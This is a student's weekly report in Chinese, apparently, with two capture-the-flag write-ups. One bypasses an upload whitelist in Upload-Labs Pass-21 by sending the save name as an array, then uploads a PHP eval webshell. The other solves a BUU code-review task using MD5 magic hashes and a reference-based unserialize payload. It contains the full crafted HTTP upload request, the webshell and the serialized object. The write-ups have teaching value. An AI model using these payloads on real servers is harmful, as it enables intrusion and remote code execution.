计科 234 徐潘第 12 周周报

#**Upload-Labs-Pass21**

任务：上传一个 webshell 到服务器

这次也是多了一个输入保存名称的文本框

查看源码：

```shell
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查 MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; //如果文本框的文件名为空，则直接使用上传的文件本身的命名
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }
        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];//使用 count 函数计算数组内数据个数再减一获取的 file 数组的最后一位
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
```

```
    $msg = "请选择要上传的文件！";
}
```

检测逻辑：

首先对文件上传的类型 cotent type 进行检测，白名单显示只有 jpg、png、gif 三种文件类型能通过检测

随后判断文件名是否是数组，若不是，则使用“.”分割（如 1.php 被分割为 1 和 php，分别存进 file[0]、file[1]中）

再次使用白名单检测处理后的文件名后缀，这里通过 end()函数获取数组最后一位检测，这样可以避免后缀名绕过

若检测通过，则将文件名和后缀名拼接进上传路径，这里后缀名是通过数组内数据个数减一获取的 file 数组的最后一位

可以看到逻辑漏洞在于将文件名和后缀名拼接进上传路径时的后缀名获取方式，假如通过拦截抓包修改 file 数组第 8 位为数据 1，则数组变成：

$file[0]=1,$file[1]=php,$file[7]=1

其余的$file[2]至$file[6]均为空 NULL

在第二次白名单检测时获取的后缀名是$file[7]，而将文件名和后缀名拼接进上传路径时获取的后缀名是$file[2]，因为数组内有效数据数是 3

由于检测会先判断文件名是否是数组，因此可以直接上传一个数组防止其自行分割转化：

$file[0]=111.php,$file[1]=php,$file[7]=jpg

end($file)=jpg

count($file)=3

由于$file[2]为空，且服务器会自动删去多余的“.”，因此这样保存下来的文件就是 php 木马

打开 BP 拦截抓包，选择 php 一句话木马，修改抓到的包的数据为：

```shell
POST /Pass-20/index.php?action=show_code HTTP/1.1
Host: 1feef5d9-e545-4c77-80f7-30107c71c04b.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd
Content-Length: 492
Origin: http://1feef5d9-e545-4c77-80f7-30107c71c04b.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://1feef5d9-e545-4c77-80f7-30107c71c04b.node5.buuoj.cn:81/Pass-20/index.php?action=show_code
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd
Content-Disposition: form-data; name="upload_file"; filename="111.php"
Content-Type: image/jpeg
```

```
<?php
@eval($_POST['a']);
?>
------geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd
Content-Disposition: form-data; name="save_name[0]"

1.php
------geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd
Content-Disposition: form-data; name="save_name[7]"

jpg
------geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd
Content-Disposition: form-data; name="submit"

上传
------geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd--
```

主要修改了两处：
第一，修改了 Content-Type: 后面为白名单上合法的文件类型 image/jpeg
第二，原本下面 POST 请求是传递"save_name"使得后续操作分割生成数组：

```shell
<?php
@eval($_POST['a']);
?>
------geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd
Content-Disposition: form-data; name="save_name"

1.php
------geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd
Content-Disposition: form-data; name="submit"

上传
------geckoformboundaryc17d05c6839f005ea2fdff3f18dc50dd--
```

将"save_name"改成数组，save_name[0]=1.php，save_name[7]=jpg，放行后上传成功
使用蚁剑连接后门，连接成功

#**BUU CODE REVIEW 1 1**

启动靶机，网页直接给出源码：

```shell
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */
```

```
highlight_file(__FILE__);
```

```
class BUU {
   public $correct = "";
   public $input = "";
```

```
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
```

```
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}
```

可以看到网页使用 GET 传参 pleaseget，使用 POST 传参 pleasepost，若参数 md51 和 md52 的 MD5 值相等但原值不同，则反序列化 obj 参数

而 BUU 类的析构函数中，correct 被赋值为 base64_encode(uniqid())并与 input 比较，若相等则输出/flag

那么可以想到利用 MD5 弱比较，PHP 在比较两个字符串的 MD5 值时，若哈希值以 0e 开头（如 0e123456789），会将其视为科学计数法的 0，导致不同字符串的哈希值相等

满足条件的常用字符串有：

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

选取任意一对上述字符串，赋值给 md51 和 md52

随后进行引用赋值，使 input 指向 correct 的内存地址，从而使 correct 和 input 的值在析构时相等

```shell
$obj = new BUU();
$obj->input = &$obj->correct;  //引用赋值
echo urlencode(serialize($obj));
```

在 PHP 中运行上述代码返回的反序列化结果为

```shell
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
```

使用 hackbar 发送 POST 请求：

```shell
http://fe10020b-b6fc-4282-9633-b7f9d2f8d58f.node5.buuoj.cn:81/?pleaseget=1
pleasepost=2&md51=s878926199a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
//POST data
```

发送后在网页上得到 flag：

flag{9e85f7f1-dc68-44da-9406-59190f901717}